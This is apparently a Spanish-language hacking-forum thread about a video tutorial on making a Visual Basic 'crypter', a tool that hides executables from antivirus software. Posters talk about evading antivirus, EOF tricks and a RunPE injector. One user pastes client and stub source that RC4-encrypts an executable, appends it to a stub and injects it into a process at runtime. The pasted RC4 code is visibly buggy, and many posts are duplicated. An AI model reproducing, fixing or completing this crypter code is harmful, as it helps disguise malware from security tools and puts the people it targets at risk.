Bien ayer me puse manos a la obra y ahora e terminado el cripters muy bien explicado amigo Skyweb07 gracias por compartir conocimiento saludos
volverlo a subirlo q estoy liao con el mio y necesito ayuda con el stub
ya lo acaba me falta sacarle avs
alguien puede resubir el video por favor ningun link funciona gracias andenle no sean malos digan ke si andenle siiiiiiiiiiii jaja saludos
si se bajan undetectable methods V2 viene con el video este, y mas cosas como poner EOF, que os vendrán bien a los principiantes.
Saludos!
Saludos!
¡Atención! LuisN2.com ha caido, pero el blog sigue estando en www.luisn2indetectables.blogspot.com o www.LuisN2.cz.cc
Bueno primero que nada Muy buen tutorial !
ahora mi proble es que cuando ya tengo el el cliente y el stub generados me sale este error al encriptar un archivo
[Enlace externo eliminado para invitados]
No se qe puede ser asi q por si las dudaas les dejo el crypter y el Stub
CRYPTER
Desde ya muchas gracias
ahora mi proble es que cuando ya tengo el el cliente y el stub generados me sale este error al encriptar un archivo
[Enlace externo eliminado para invitados]
No se qe puede ser asi q por si las dudaas les dejo el crypter y el Stub
CRYPTER
STUBPrivate Sub cmdbuscar_Click()
With CD
.DialogTitle = "Selecione la ruta donde guardar el archivo encriptado :EE"
.Filter = "Aplicaciones EXE|*.exe"
.ShowSave
End With
If Not CD.FileName = vbNullString Then
Archivo = RC4(Archivo, txtkey.Text)
Open CD.FileName For Binary As #1
Put #1, , Stub & "##$$##" & Archivo & "##$$##" & txtkey.Text & "##$$##"
Close #1
MsgBox "Archivo Encriptado Correctamente!", vbInformation, Me.Caption
End If
If txtarchivo.Text = vbNullString Then '
MsgBox "Primero debe cargar un archivo para encriptar!", vbExclamation, Me.Caption
Exit Sub
Else
Open App.Path & "\Stub.exe" For Binary As #1
Stub = Space(LOF(1))
Get #1, , Stub
Close #1
Open txtarchivo.Text For Binary As #1
Archivo = Space(LOF(1))
Get #1, , Archivo
Close #1
End If
End Sub
Public Function RC4(ByVal Data As String, ByVal Password As String) As String
On Error Resume Next
Dim F(0 To 255) As Integer, X, Y As Long, Key() As Byte
Key() = StrConv(Password, vbFromUnicode)
For X = 0 To 255
Y = (Y + F(X) + Key(X Mod Len(Password))) Mod 256
F(X) = X
Next X
Key() = StrConv(Data, vbFromUnicode)
For X = 0 To Len(Data)
Y = Y = (Y + F(X) + Key(X Mod Len(al0ys))) Mod 256
Key(X) = Key(X) Xor F(Temp + F((Y + F(Y)) Mod 254))
Next X
RC4 = StrConv(Key, vbUnicode)
End Function
Espero respuestasSub Main()
Dim YO As String, Datos As String, sData() As String
YO = App.Path & "\" & App.EXEName & ".EXE"
Open YO For Binary As #1
Datos = Space(LOF(1))
Get #1, , Datos
Close #1
sData() = Split(Datos, "##$$##")
sData(1) = RC4(sData(1), "al0ys")
Injec YO, StrConv(sData(1), vbFromUnicode), vbNullString
End Sub
Public Function RC4(ByVal Data As String, ByVal Password As String) As String
On Error Resume Next
Dim F(0 To 255) As Integer, X, Y As Long, Key() As Byte
Key() = StrConv(Password, vbFromUnicode)
For X = 0 To 255
Y = (Y + F(X) + Key(X Mod Len(Password))) Mod 256
F(X) = X
Next X
Key() = StrConv(Data, vbFromUnicode)
For X = 0 To Len(Data)
Y = (Y + F(Y) + 1) Mod 256
Key(X) = Key(X) Xor F(Temp + F((Y + F(Y)) Mod 254))
Next X
RC4 = StrConv(Key, vbUnicode)
End Function
Desde ya muchas gracias
Muchas graccias por el interes pero q se supone que debo poner ai ?
Desde ya disculpen si dije algun bolaso es que recien empieso en esto del VB
Muchas gracias por el interes igual
he puesto el que esta en el codigo de fuentesData(1) = RC4(sData(1), "al0ys")
Pero me da el mismo error...sData(1) = RC4(sData(1), sData(2))
Desde ya disculpen si dije algun bolaso es que recien empieso en esto del VB
Muchas gracias por el interes igual
No lo puedo abrir ni descomprimir.. Porfavor subanlo en una web de descargas. Gracias
Despues de una larga comparcion con el cliente de 1nd3t3ct4bl3s.n3t
me di cuenta que el error era del cliente , asi que problema resuelto
Gracias por la atencion sobre todo por la ayuda de 1nd3t3ct4bl3s.n3t
me di cuenta que el error era del cliente , asi que problema resuelto
Gracias por la atencion sobre todo por la ayuda de 1nd3t3ct4bl3s.n3t
No funciona el link de video.
Lo podeis subir otra vez
Gracias
Lo podeis subir otra vez
Gracias
Oigan tengo un problema a ver si me pueden ayudar compilo bien tanto el cliente como el stub para el runpe utilizé el Unique_RunPE_Maker asta ay todo bien pues voy a provarlo pero funciona todo bien pero el archivo resultante de encriptar al ejecutar me sale error "9" en tiempo de ejecucion: el subíndice está fuera del intervalo e estado mirando el cliente y el stub pero no veo nada raro saludos gracias Skyweb07
me podria pasar alguien el tutorial?. Gracias
